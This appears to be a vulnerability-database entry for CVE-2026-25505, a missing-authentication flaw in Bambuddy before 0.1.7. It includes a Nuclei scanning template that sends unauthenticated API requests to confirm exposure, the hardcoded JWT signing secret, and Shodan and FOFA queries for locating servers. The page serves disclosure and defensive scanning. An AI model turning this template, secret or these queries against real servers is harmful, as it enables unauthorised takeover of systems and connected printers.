CVE-2026-25505: Bambuddy < 0.1.7 - Missing Authentication on API Routes

2026-11-29 PoC Public

Description

Bambuddy before 0.1.7 signs JWTs with the hardcoded secret key "bambuddy-secret-key-change-in-production" and leaves most /api/v1 routes without an authentication check. When authentication is enabled, unauthenticated attackers can still read and change printers, archives, settings, API keys and system information, and can forge valid tokens for any known user.

Details

CVE
CVE-2026-25505 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-25505

info:
  name: Bambuddy < 0.1.7 - Missing Authentication on API Routes
  author: s4e-io
  severity: critical
  description: |
    Bambuddy before 0.1.7 signs JWTs with the hardcoded secret key "bambuddy-secret-key-change-in-production" and leaves most /api/v1 routes without an authentication check. When authentication is enabled, unauthenticated attackers can still read and change printers, archives, settings, API keys and system information, and can forge valid tokens for any known user.
  impact: |
    Unauthenticated attackers can read sensitive configuration and system data, create API keys with full permissions and take administrative control of the print management server and the connected printers.
  remediation: |
    Upgrade Bambuddy to version 0.1.7 or later.
  reference:
    - https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf
    - https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb
    - https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9
    - https://github.com/maziggy/bambuddy/releases/tag/v0.1.7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-25505
    epss-score: 0.03515
    epss-percentile: 0.89994
    cwe-id: CWE-306,CWE-321
    cpe: cpe:2.3:a:bambuddy:bambuddy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bambuddy
    product: bambuddy
    shodan-query: http.title:"Bambuddy"
    fofa-query: title="Bambuddy"
  tags: cve,cve2026,bambuddy,auth-bypass,unauth,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v1/auth/status HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"auth_enabled\":true", "\"requires_setup\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/system/info HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"base_dir\"", "\"archive_dir\"", "\"total_print_time_formatted\"", "\"smart_plugs\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: json
        json:
          - '.app.version'
# digest: 490a004630440220591ceb412cd09858070a09092c86da66a95856e75a8b58e866baf63974d0fa8902200df7858c0376e73580803087e6117ffb435d15a236c67621f465604556357fef:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life